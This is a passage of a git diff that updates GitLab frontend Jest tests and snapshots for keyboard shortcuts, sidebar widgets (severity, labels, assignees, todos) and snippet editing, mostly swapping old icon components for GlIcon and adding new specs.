- new Shortcuts(); // eslint-disable-line no-new
- });
+ new Shortcuts(); // eslint-disable-line no-new
+ });
+ describe('toggleMarkdownPreview', () => {
it('focuses preview button in form', () => {
Shortcuts.toggleMarkdownPreview(
createEvent('KeyboardEvent', document.querySelector('.js-new-note-form .js-note-text')),
@@ -43,4 +55,63 @@ describe('Shortcuts', () => {
expect(document.querySelector('.edit-note .js-md-preview-button').focus).toHaveBeenCalled();
});
});
+
+ describe('markdown shortcuts', () => {
+ let shortcuts;
+
+ beforeEach(() => {
+ // Get all shortcuts specified with md-shortcuts attributes in the fixture.
+ // `shortcuts` will look something like this:
+ // [
+ // [ 'mod+b' ],
+ // [ 'mod+i' ],
+ // [ 'mod+k' ]
+ // ]
+ shortcuts = $('.edit-note .js-md')
+ .map(function getShortcutsFromToolbarBtn() {
+ const mdShortcuts = $(this).data('md-shortcuts');
+
+ // jQuery.map() automatically unwraps arrays, so we
+ // have to double wrap the array to counteract this:
+ // https://stackoverflow.com/a/4875669/1063392
+ return mdShortcuts ? [mdShortcuts] : undefined;
+ })
+ .get();
+ });
+
+ describe('initMarkdownEditorShortcuts', () => {
+ beforeEach(() => {
+ Shortcuts.initMarkdownEditorShortcuts($('.edit-note textarea'));
+ });
+
+ it('attaches a Mousetrap handler for every markdown shortcut specified with md-shortcuts', () => {
+ const expectedCalls = shortcuts.map(s => [s, expect.any(Function)]);
+
+ expect(mockMousetrap.bind.mock.calls).toEqual(expectedCalls);
+ });
+
+ it('attaches a stopCallback that allows each markdown shortcut specified with md-shortcuts', () => {
+ flatten(shortcuts).forEach(s => {
+ expect(mockMousetrap.stopCallback(null, null, s)).toBe(false);
+ });
+ });
+ });
+
+ describe('removeMarkdownEditorShortcuts', () => {
+ it('does nothing if initMarkdownEditorShortcuts was not previous called', () => {
+ Shortcuts.removeMarkdownEditorShortcuts($('.edit-note textarea'));
+
+ expect(mockMousetrap.unbind.mock.calls).toEqual([]);
+ });
+
+ it('removes Mousetrap handlers for every markdown shortcut specified with md-shortcuts', () => {
+ Shortcuts.initMarkdownEditorShortcuts($('.edit-note textarea'));
+ Shortcuts.removeMarkdownEditorShortcuts($('.edit-note textarea'));
+
+ const expectedCalls = shortcuts.map(s => [s]);
+
+ expect(mockMousetrap.unbind.mock.calls).toEqual(expectedCalls);
+ });
+ });
+ });
});
diff --git a/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap b/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap
index 4c1ab4a499c..11ab1ca3aaa 100644
--- a/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap
+++ b/spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap
@@ -7,13 +7,9 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
>
<div
class="sidebar-collapsed-icon"
- data-boundary="viewport"
- data-container="body"
- data-original-title="Not confidential"
- data-placement="left"
- title=""
+ title="Not confidential"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
name="eye"
size="16"
@@ -38,7 +34,7 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
class="no-value sidebar-item-value"
data-testid="not-confidential"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
class="sidebar-item-icon inline"
name="eye"
@@ -59,13 +55,9 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
>
<div
class="sidebar-collapsed-icon"
- data-boundary="viewport"
- data-container="body"
- data-original-title="Not confidential"
- data-placement="left"
- title=""
+ title="Not confidential"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
name="eye"
size="16"
@@ -98,7 +90,7 @@ exports[`Confidential Issue Sidebar Block renders for confidential = false and i
class="no-value sidebar-item-value"
data-testid="not-confidential"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
class="sidebar-item-icon inline"
name="eye"
@@ -119,13 +111,9 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
>
<div
class="sidebar-collapsed-icon"
- data-boundary="viewport"
- data-container="body"
- data-original-title="Confidential"
- data-placement="left"
- title=""
+ title="Confidential"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
name="eye-slash"
size="16"
@@ -149,7 +137,7 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
<div
class="value sidebar-item-value hide-collapsed"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
class="sidebar-item-icon inline is-active"
name="eye-slash"
@@ -170,13 +158,9 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
>
<div
class="sidebar-collapsed-icon"
- data-boundary="viewport"
- data-container="body"
- data-original-title="Confidential"
- data-placement="left"
- title=""
+ title="Confidential"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
name="eye-slash"
size="16"
@@ -208,7 +192,7 @@ exports[`Confidential Issue Sidebar Block renders for confidential = true and is
<div
class="value sidebar-item-value hide-collapsed"
>
- <icon-stub
+ <gl-icon-stub
aria-hidden="true"
class="sidebar-item-icon inline is-active"
name="eye-slash"
diff --git a/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap b/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap
index 0a12eb327de..42012841f0b 100644
--- a/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap
+++ b/spec/frontend/sidebar/__snapshots__/todo_spec.js.snap
@@ -13,7 +13,7 @@ exports[`SidebarTodo template renders component container element with proper da
title=""
type="button"
>
- <icon-stub
+ <gl-icon-stub
class="todo-undone"
name="todo-done"
size="16"
diff --git a/spec/frontend/sidebar/assignees_spec.js b/spec/frontend/sidebar/assignees_spec.js
index 3418680f8ea..d1810ada97a 100644
--- a/spec/frontend/sidebar/assignees_spec.js
+++ b/spec/frontend/sidebar/assignees_spec.js
@@ -1,5 +1,6 @@
import { mount } from '@vue/test-utils';
import { trimText } from 'helpers/text_helper';
+import { GlIcon } from '@gitlab/ui';
import Assignee from '~/sidebar/components/assignees/assignees.vue';
import UsersMock from './mock_data';
import UsersMockHelper from '../helpers/user_mock_data_helper';
@@ -29,10 +30,12 @@ describe('Assignee component', () => {
it('displays no assignee icon when collapsed', () => {
createWrapper();
const collapsedChildren = findCollapsedChildren();
+ const userIcon = collapsedChildren.at(0).find(GlIcon);
expect(collapsedChildren.length).toBe(1);
expect(collapsedChildren.at(0).attributes('aria-label')).toBe('None');
- expect(collapsedChildren.at(0).classes()).toContain('fa', 'fa-user');
+ expect(userIcon.exists()).toBe(true);
+ expect(userIcon.props('name')).toBe('user');
});
it('displays only "None" when no users are assigned and the issue is read-only', () => {
diff --git a/spec/frontend/sidebar/components/assignees/collapsed_assignee_list_spec.js b/spec/frontend/sidebar/components/assignees/collapsed_assignee_list_spec.js
index a1e19c1dd8e..907d6144415 100644
--- a/spec/frontend/sidebar/components/assignees/collapsed_assignee_list_spec.js
+++ b/spec/frontend/sidebar/components/assignees/collapsed_assignee_list_spec.js
@@ -1,4 +1,5 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import UsersMockHelper from 'helpers/user_mock_data_helper';
import CollapsedAssigneeList from '~/sidebar/components/assignees/collapsed_assignee_list.vue';
import CollapsedAssignee from '~/sidebar/components/assignees/collapsed_assignee.vue';
@@ -20,7 +21,7 @@ describe('CollapsedAssigneeList component', () => {
});
}
- const findNoUsersIcon = () => wrapper.find('i[aria-label=None]');
+ const findNoUsersIcon = () => wrapper.find(GlIcon);
const findAvatarCounter = () => wrapper.find('.avatar-counter');
const findAssignees = () => wrapper.findAll(CollapsedAssignee);
const getTooltipTitle = () => wrapper.attributes('title');
@@ -38,6 +39,7 @@ describe('CollapsedAssigneeList component', () => {
it('has no users', () => {
expect(findNoUsersIcon().exists()).toBe(true);
+ expect(findNoUsersIcon().props('name')).toBe('user');
});
});
diff --git a/spec/frontend/sidebar/components/severity/severity_spec.js b/spec/frontend/sidebar/components/severity/severity_spec.js
new file mode 100644
index 00000000000..b6690f11d6b
--- /dev/null
+++ b/spec/frontend/sidebar/components/severity/severity_spec.js
@@ -0,0 +1,57 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
+import SeverityToken from '~/sidebar/components/severity/severity.vue';
+import { INCIDENT_SEVERITY } from '~/sidebar/components/severity/constants';
+
+describe('SeverityToken', () => {
+ let wrapper;
+
+ function createComponent(props) {
+ wrapper = shallowMount(SeverityToken, {
+ propsData: {
+ ...props,
+ },
+ });
+ }
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ const findIcon = () => wrapper.find(GlIcon);
+
+ it('renders severity token for each severity type', () => {
+ Object.values(INCIDENT_SEVERITY).forEach(severity => {
+ createComponent({ severity });
+ expect(findIcon().classes()).toContain(`icon-${severity.icon}`);
+ expect(findIcon().attributes('name')).toBe(`severity-${severity.icon}`);
+ expect(wrapper.text()).toBe(severity.label);
+ });
+ });
+
+ it('renders only icon when `iconOnly` prop is set to `true`', () => {
+ const severity = INCIDENT_SEVERITY.CRITICAL;
+ createComponent({ severity, iconOnly: true });
+ expect(findIcon().classes()).toContain(`icon-${severity.icon}`);
+ expect(findIcon().attributes('name')).toBe(`severity-${severity.icon}`);
+ expect(wrapper.text()).toBe('');
+ });
+
+ describe('icon size', () => {
+ it('renders the icon in default size when other is not specified', () => {
+ const severity = INCIDENT_SEVERITY.HIGH;
+ createComponent({ severity });
+ expect(findIcon().attributes('size')).toBe('12');
+ });
+
+ it('renders the icon in provided size', () => {
+ const severity = INCIDENT_SEVERITY.HIGH;
+ const iconSize = 14;
+ createComponent({ severity, iconSize });
+ expect(findIcon().attributes('size')).toBe(`${iconSize}`);
+ });
+ });
+});
diff --git a/spec/frontend/sidebar/components/severity/sidebar_severity_spec.js b/spec/frontend/sidebar/components/severity/sidebar_severity_spec.js
new file mode 100644
index 00000000000..638d3706d12
--- /dev/null
+++ b/spec/frontend/sidebar/components/severity/sidebar_severity_spec.js
@@ -0,0 +1,166 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlDropdown, GlDropdownItem, GlLoadingIcon, GlTooltip, GlSprintf } from '@gitlab/ui';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import SidebarSeverity from '~/sidebar/components/severity/sidebar_severity.vue';
+import SeverityToken from '~/sidebar/components/severity/severity.vue';
+import updateIssuableSeverity from '~/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql';
+import { INCIDENT_SEVERITY, ISSUABLE_TYPES } from '~/sidebar/components/severity/constants';
+
+jest.mock('~/flash');
+
+describe('SidebarSeverity', () => {
+ let wrapper;
+ let mutate;
+ const projectPath = 'gitlab-org/gitlab-test';
+ const iid = '1';
+ const severity = 'CRITICAL';
+
+ function createComponent(props = {}) {
+ const propsData = {
+ projectPath,
+ iid,
+ issuableType: ISSUABLE_TYPES.INCIDENT,
+ initialSeverity: severity,
+ ...props,
+ };
+ mutate = jest.fn();
+ wrapper = shallowMount(SidebarSeverity, {
+ propsData,
+ mocks: {
+ $apollo: {
+ mutate,
+ },
+ },
+ stubs: {
+ GlSprintf,
+ },
+ });
+ }
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ const findSeverityToken = () => wrapper.findAll(SeverityToken);
+ const findEditBtn = () => wrapper.find('[data-testid="editButton"]');
+ const findDropdown = () => wrapper.find(GlDropdown);
+ const findCriticalSeverityDropdownItem = () => wrapper.find(GlDropdownItem);
+ const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ const findTooltip = () => wrapper.find(GlTooltip);
+ const findCollapsedSeverity = () => wrapper.find({ ref: 'severity' });
+
+ it('renders severity widget', () => {
+ expect(findEditBtn().exists()).toBe(true);
+ expect(findSeverityToken().exists()).toBe(true);
+ expect(findDropdown().exists()).toBe(true);
+ });
+
+ describe('Update severity', () => {
+ it('calls `$apollo.mutate` with `updateIssuableSeverity`', () => {
+ jest
+ .spyOn(wrapper.vm.$apollo, 'mutate')
+ .mockResolvedValueOnce({ data: { issueSetSeverity: { issue: { severity } } } });
+
+ findCriticalSeverityDropdownItem().vm.$emit('click');
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: updateIssuableSeverity,
+ variables: {
+ iid,
+ projectPath,
+ severity,
+ },
+ });
+ });
+
+ it('shows error alert when severity update fails ', () => {
+ const errorMsg = 'Something went wrong';
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockRejectedValueOnce(errorMsg);
+ findCriticalSeverityDropdownItem().vm.$emit('click');
+
+ setImmediate(() => {
+ expect(createFlash).toHaveBeenCalled();
+ });
+ });
+
+ it('shows loading icon while updating', async () => {
+ let resolvePromise;
+ wrapper.vm.$apollo.mutate = jest.fn(
+ () =>
+ new Promise(resolve => {
+ resolvePromise = resolve;
+ }),
+ );
+ findCriticalSeverityDropdownItem().vm.$emit('click');
+
+ await wrapper.vm.$nextTick();
+ expect(findLoadingIcon().exists()).toBe(true);
+
+ resolvePromise();
+ await waitForPromises();
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('Switch between collapsed/expanded view of the sidebar', () => {
+ const HIDDDEN_CLASS = 'gl-display-none';
+ const SHOWN_CLASS = 'show';
+
+ describe('collapsed', () => {
+ it('should have collapsed icon class', () => {
+ expect(findCollapsedSeverity().classes('sidebar-collapsed-icon')).toBe(true);
+ });
+
+ it('should display only icon with a tooltip', () => {
+ expect(
+ findSeverityToken()
+ .at(0)
+ .attributes('icononly'),
+ ).toBe('true');
+ expect(
+ findSeverityToken()
+ .at(0)
+ .attributes('iconsize'),
+ ).toBe('14');
+ expect(
+ findTooltip()
+ .text()
+ .replace(/\s+/g, ' '),
+ ).toContain(`Severity: ${INCIDENT_SEVERITY[severity].label}`);
+ });
+
+ it('should expand the dropdown on collapsed icon click', async () => {
+ wrapper.vm.isDropdownShowing = false;
+ await wrapper.vm.$nextTick();
+ expect(findDropdown().classes(HIDDDEN_CLASS)).toBe(true);
+
+ findCollapsedSeverity().trigger('click');
+ await wrapper.vm.$nextTick();
+ expect(findDropdown().classes(SHOWN_CLASS)).toBe(true);
+ });
+ });
+
+ describe('expanded', () => {
+ it('toggles dropdown with edit button', async () => {
+ wrapper.vm.isDropdownShowing = false;
+ await wrapper.vm.$nextTick();
+ expect(findDropdown().classes(HIDDDEN_CLASS)).toBe(true);
+
+ findEditBtn().vm.$emit('click');
+ await wrapper.vm.$nextTick();
+ expect(findDropdown().classes(SHOWN_CLASS)).toBe(true);
+
+ findEditBtn().vm.$emit('click');
+ await wrapper.vm.$nextTick();
+ expect(findDropdown().classes(HIDDDEN_CLASS)).toBe(true);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/sidebar/issuable_assignees_spec.js b/spec/frontend/sidebar/issuable_assignees_spec.js
new file mode 100644
index 00000000000..aa930bd4198
--- /dev/null
+++ b/spec/frontend/sidebar/issuable_assignees_spec.js
@@ -0,0 +1,59 @@
+import { shallowMount } from '@vue/test-utils';
+import IssuableAssignees from '~/sidebar/components/assignees/issuable_assignees.vue';
+import UncollapsedAssigneeList from '~/sidebar/components/assignees/uncollapsed_assignee_list.vue';
+
+describe('IssuableAssignees', () => {
+ let wrapper;
+
+ const createComponent = (props = { users: [] }) => {
+ wrapper = shallowMount(IssuableAssignees, {
+ provide: {
+ rootPath: '',
+ },
+ propsData: { ...props },
+ });
+ };
+ const findLabel = () => wrapper.find('[data-testid="assigneeLabel"');
+ const findUncollapsedAssigneeList = () => wrapper.find(UncollapsedAssigneeList);
+ const findEmptyAssignee = () => wrapper.find('[data-testid="none"]');
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when no assignees are present', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders "None"', () => {
+ expect(findEmptyAssignee().text()).toBe('None');
+ });
+
+ it('renders "0 assignees"', () => {
+ expect(findLabel().text()).toBe('0 Assignees');
+ });
+ });
+
+ describe('when assignees are present', () => {
+ it('renders UncollapsedAssigneesList', () => {
+ createComponent({ users: [{ id: 1 }] });
+
+ expect(findUncollapsedAssigneeList().exists()).toBe(true);
+ });
+
+ it.each`
+ assignees | expected
+ ${[{ id: 1 }]} | ${'Assignee'}
+ ${[{ id: 1 }, { id: 2 }]} | ${'2 Assignees'}
+ `(
+ 'when assignees have a length of $assignees.length, it renders $expected',
+ ({ assignees, expected }) => {
+ createComponent({ users: assignees });
+
+ expect(findLabel().text()).toBe(expected);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/sidebar/participants_spec.js b/spec/frontend/sidebar/participants_spec.js
index ebe94582588..93c9b3b84c3 100644
--- a/spec/frontend/sidebar/participants_spec.js
+++ b/spec/frontend/sidebar/participants_spec.js
@@ -37,7 +37,7 @@ describe('Participants', () => {
loading: true,
});
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
it('does not show loading spinner not loading', () => {
@@ -45,7 +45,7 @@ describe('Participants', () => {
loading: false,
});
- expect(wrapper.contains(GlLoadingIcon)).toBe(false);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
});
it('shows participant count when given', () => {
@@ -74,7 +74,7 @@ describe('Participants', () => {
loading: true,
});
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
it('when only showing visible participants, shows an avatar only for each participant under the limit', () => {
@@ -196,11 +196,11 @@ describe('Participants', () => {
});
it('does not show sidebar collapsed icon', () => {
- expect(wrapper.contains('.sidebar-collapsed-icon')).toBe(false);
+ expect(wrapper.find('.sidebar-collapsed-icon').exists()).toBe(false);
});
it('does not show participants label title', () => {
- expect(wrapper.contains('.title')).toBe(false);
+ expect(wrapper.find('.title').exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/sidebar/sidebar_labels_spec.js b/spec/frontend/sidebar/sidebar_labels_spec.js
new file mode 100644
index 00000000000..29333a344e1
--- /dev/null
+++ b/spec/frontend/sidebar/sidebar_labels_spec.js
@@ -0,0 +1,124 @@
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import AxiosMockAdapter from 'axios-mock-adapter';
+import Vuex from 'vuex';
+import {
+ mockLabels,
+ mockRegularLabel,
+} from 'jest/vue_shared/components/sidebar/labels_select_vue/mock_data';
+import axios from '~/lib/utils/axios_utils';
+import SidebarLabels from '~/sidebar/components/labels/sidebar_labels.vue';
+import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
+import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
+import labelsSelectModule from '~/vue_shared/components/sidebar/labels_select_vue/store';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('sidebar labels', () => {
+ let axiosMock;
+ let wrapper;
+
+ const store = new Vuex.Store(labelsSelectModule());
+
+ const defaultProps = {
+ allowLabelCreate: true,
+ allowLabelEdit: true,
+ allowScopedLabels: true,
+ canEdit: true,
+ iid: '1',
+ initiallySelectedLabels: mockLabels,
+ issuableType: 'issue',
+ labelsFetchPath: '/gitlab-org/gitlab-test/-/labels.json?include_ancestor_groups=true',
+ labelsManagePath: '/gitlab-org/gitlab-test/-/labels',
+ labelsUpdatePath: '/gitlab-org/gitlab-test/-/issues/1.json',
+ projectIssuesPath: '/gitlab-org/gitlab-test/-/issues',
+ projectPath: 'gitlab-org/gitlab-test',
+ };
+
+ const findLabelsSelect = () => wrapper.find(LabelsSelect);
+
+ const mountComponent = () => {
+ wrapper = shallowMount(SidebarLabels, {
+ localVue,
+ provide: {
+ ...defaultProps,
+ },
+ store,
+ });
+ };
+
+ beforeEach(() => {
+ axiosMock = new AxiosMockAdapter(axios);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ axiosMock.restore();
+ });
+
+ describe('LabelsSelect props', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('are as expected', () => {
+ expect(findLabelsSelect().props()).toMatchObject({
+ allowLabelCreate: defaultProps.allowLabelCreate,
+ allowLabelEdit: defaultProps.allowLabelEdit,
+ allowMultiselect: true,
+ allowScopedLabels: defaultProps.allowScopedLabels,
+ footerCreateLabelTitle: 'Create project label',
+ footerManageLabelTitle: 'Manage project labels',
+ labelsCreateTitle: 'Create project label',
+ labelsFetchPath: defaultProps.labelsFetchPath,
+ labelsFilterBasePath: defaultProps.projectIssuesPath,
+ labelsManagePath: defaultProps.labelsManagePath,
+ labelsSelectInProgress: false,
+ selectedLabels: defaultProps.initiallySelectedLabels,
+ variant: DropdownVariant.Sidebar,
+ });
+ });
+ });
+
+ describe('when labels are changed', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('makes an API call to update labels', async () => {
+ const labels = [
+ {
+ ...mockRegularLabel,
+ set: false,
+ },
+ {
+ id: 40,
+ title: 'Security',
+ color: '#ddd',
+ text_color: '#fff',
+ set: true,
+ },
+ {
+ id: 55,
+ title: 'Tooling',
+ color: '#ddd',
+ text_color: '#fff',
+ set: false,
+ },
+ ];
+
+ findLabelsSelect().vm.$emit('updateSelectedLabels', labels);
+
+ await axios.waitForAll();
+
+ const expected = {
+ [defaultProps.issuableType]: {
+ label_ids: [27, 28, 40],
+ },
+ };
+
+ expect(axiosMock.history.put[0].data).toEqual(JSON.stringify(expected));
+ });
+ });
+});
diff --git a/spec/frontend/sidebar/sidebar_move_issue_spec.js b/spec/frontend/sidebar/sidebar_move_issue_spec.js
index db0d3e06272..ad919f69546 100644
--- a/spec/frontend/sidebar/sidebar_move_issue_spec.js
+++ b/spec/frontend/sidebar/sidebar_move_issue_spec.js
@@ -68,12 +68,10 @@ describe('SidebarMoveIssue', () => {
});
describe('initDropdown', () => {
- it('should initialize the gl_dropdown', () => {
- jest.spyOn($.fn, 'glDropdown').mockImplementation(() => {});
-
+ it('should initialize the deprecatedJQueryDropdown', () => {
test.sidebarMoveIssue.initDropdown();
- expect($.fn.glDropdown).toHaveBeenCalled();
+ expect(test.sidebarMoveIssue.$dropdownToggle.data('deprecatedJQueryDropdown')).toBeTruthy();
});
it('escapes html from project name', done => {
diff --git a/spec/frontend/sidebar/subscriptions_spec.js b/spec/frontend/sidebar/subscriptions_spec.js
index cce35666985..dddb9c2bba9 100644
--- a/spec/frontend/sidebar/subscriptions_spec.js
+++ b/spec/frontend/sidebar/subscriptions_spec.js
@@ -100,7 +100,7 @@ describe('Subscriptions', () => {
});
it('does not render the toggle button', () => {
- expect(wrapper.contains('.js-issuable-subscribe-button')).toBe(false);
+ expect(wrapper.find('.js-issuable-subscribe-button').exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/sidebar/todo_spec.js b/spec/frontend/sidebar/todo_spec.js
index e56a78989eb..b0e94f16dd7 100644
--- a/spec/frontend/sidebar/todo_spec.js
+++ b/spec/frontend/sidebar/todo_spec.js
@@ -1,8 +1,7 @@
import { shallowMount } from '@vue/test-utils';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import SidebarTodos from '~/sidebar/components/todo_toggle/todo.vue';
-import Icon from '~/vue_shared/components/icon.vue';
const defaultProps = {
issuableId: 1,
@@ -45,11 +44,11 @@ describe('SidebarTodo', () => {
expect(
wrapper
- .find(Icon)
+ .find(GlIcon)
.classes()
.join(' '),
).toStrictEqual(iconClass);
- expect(wrapper.find(Icon).props('name')).toStrictEqual(icon);
+ expect(wrapper.find(GlIcon).props('name')).toStrictEqual(icon);
expect(wrapper.find('button').text()).toBe(label);
},
);
@@ -82,7 +81,7 @@ describe('SidebarTodo', () => {
it('renders button icon when `collapsed` prop is `true`', () => {
createComponent({ collapsed: true });
- expect(wrapper.find(Icon).props('name')).toBe('todo-done');
+ expect(wrapper.find(GlIcon).props('name')).toBe('todo-done');
});
it('renders loading icon when `isActionActive` prop is true', () => {
@@ -94,7 +93,7 @@ describe('SidebarTodo', () => {
it('hides button icon when `isActionActive` prop is true', () => {
createComponent({ collapsed: true, isActionActive: true });
- expect(wrapper.find(Icon).isVisible()).toBe(false);
+ expect(wrapper.find(GlIcon).isVisible()).toBe(false);
});
});
});
diff --git a/spec/frontend/snippet/snippet_bundle_spec.js b/spec/frontend/snippet/snippet_bundle_spec.js
index ad69a91fe89..208d2fea804 100644
--- a/spec/frontend/snippet/snippet_bundle_spec.js
+++ b/spec/frontend/snippet/snippet_bundle_spec.js
@@ -15,11 +15,13 @@ describe('Snippet editor', () => {
const updatedMockContent = 'New Foo Bar';
const mockEditor = {
- createInstance: jest.fn(),
updateModelLanguage: jest.fn(),
getValue: jest.fn().mockReturnValueOnce(updatedMockContent),
};
- Editor.mockImplementation(() => mockEditor);
+ const createInstance = jest.fn().mockImplementation(() => ({ ...mockEditor }));
+ Editor.mockImplementation(() => ({
+ createInstance,
+ }));
function setUpFixture(name, content) {
setHTMLFixture(`
@@ -56,7 +58,7 @@ describe('Snippet editor', () => {
});
it('correctly initializes Editor', () => {
- expect(mockEditor.createInstance).toHaveBeenCalledWith({
+ expect(createInstance).toHaveBeenCalledWith({
el: editorEl,
blobPath: mockName,
blobContent: mockContent,
diff --git a/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap b/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap
index 6020d595e3f..3b101e9e815 100644
--- a/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap
+++ b/spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap
@@ -41,7 +41,7 @@ exports[`Snippet Description Edit component rendering matches the snapshot 1`] =
>
<textarea
aria-label="Description"
- class="note-textarea js-gfm-input js-autosize markdown-area"
+ class="note-textarea js-gfm-input js-autosize markdown-area js-gfm-input-initialized"
data-qa-selector="snippet_description_field"
data-supports-quick-actions="false"
dir="auto"
@@ -63,8 +63,8 @@ exports[`Snippet Description Edit component rendering matches the snapshot 1`] =
class="zen-control zen-control-leave js-zen-leave gl-text-gray-500"
href="#"
>
- <icon-stub
- name="screen-normal"
+ <gl-icon-stub
+ name="minimize"
size="16"
/>
</a>
diff --git a/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap b/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
index be75a5bfbdc..8446f0f50c4 100644
--- a/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
+++ b/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
@@ -20,6 +20,7 @@ exports[`Snippet Visibility Edit component rendering matches the snapshot 1`] =
</label>
<gl-form-group-stub
+ class="gl-mb-0"
id="visibility-level-setting"
>
<gl-form-radio-group-stub
@@ -90,5 +91,12 @@ exports[`Snippet Visibility Edit component rendering matches the snapshot 1`] =
</gl-form-radio-stub>
</gl-form-radio-group-stub>
</gl-form-group-stub>
+
+ <div
+ class="text-muted"
+ data-testid="restricted-levels-info"
+ >
+ <!---->
+ </div>
</div>
`;
diff --git a/spec/frontend/snippets/components/edit_spec.js b/spec/frontend/snippets/components/edit_spec.js
index ebab6aa84f6..b6abb9f389a 100644
--- a/spec/frontend/snippets/components/edit_spec.js
+++ b/spec/frontend/snippets/components/edit_spec.js
@@ -47,6 +47,8 @@ const createTestSnippet = () => ({
describe('Snippet Edit app', () => {
let wrapper;
+ const relativeUrlRoot = '/foo/';
+ const originalRelativeUrlRoot = gon.relative_url_root;
const mutationTypes = {
RESOLVE: jest.fn().mockResolvedValue({
@@ -100,16 +102,25 @@ describe('Snippet Edit app', () => {
markdownDocsPath: 'http://docs.foo.bar',
...props,
},
+ data() {
+ return {
+ snippet: {
+ visibilityLevel: SNIPPET_VISIBILITY_PRIVATE,
+ },
+ };
+ },
});
}
beforeEach(() => {
+ gon.relative_url_root = relativeUrlRoot;
jest.spyOn(urlUtils, 'redirectTo').mockImplementation();
});
afterEach(() => {
wrapper.destroy();
wrapper = null;
+ gon.relative_url_root = originalRelativeUrlRoot;
});
const findBlobActions = () => wrapper.find(SnippetBlobActionsEdit);
@@ -164,10 +175,10 @@ describe('Snippet Edit app', () => {
props => {
createComponent(props);
- expect(wrapper.contains(TitleField)).toBe(true);
- expect(wrapper.contains(SnippetDescriptionEdit)).toBe(true);
- expect(wrapper.contains(SnippetVisibilityEdit)).toBe(true);
- expect(wrapper.contains(FormFooterActions)).toBe(true);
+ expect(wrapper.find(TitleField).exists()).toBe(true);
+ expect(wrapper.find(SnippetDescriptionEdit).exists()).toBe(true);
+ expect(wrapper.find(SnippetVisibilityEdit).exists()).toBe(true);
+ expect(wrapper.find(FormFooterActions).exists()).toBe(true);
expect(findBlobActions().exists()).toBe(true);
},
);
@@ -196,8 +207,8 @@ describe('Snippet Edit app', () => {
it.each`
projectPath | snippetArg | expectation
- ${''} | ${[]} | ${'/-/snippets'}
- ${'project/path'} | ${[]} | ${'/project/path/-/snippets'}
+ ${''} | ${[]} | ${urlUtils.joinPaths('/', relativeUrlRoot, '-', 'snippets')}
+ ${'project/path'} | ${[]} | ${urlUtils.joinPaths('/', relativeUrlRoot, 'project/path/-', 'snippets')}
${''} | ${[createTestSnippet()]} | ${TEST_WEB_URL}
${'project/path'} | ${[createTestSnippet()]} | ${TEST_WEB_URL}
`(
diff --git a/spec/frontend/snippets/components/embed_dropdown_spec.js b/spec/frontend/snippets/components/embed_dropdown_spec.js
new file mode 100644
index 00000000000..8eb44965692
--- /dev/null
+++ b/spec/frontend/snippets/components/embed_dropdown_spec.js
@@ -0,0 +1,70 @@
+import { escape as esc } from 'lodash';
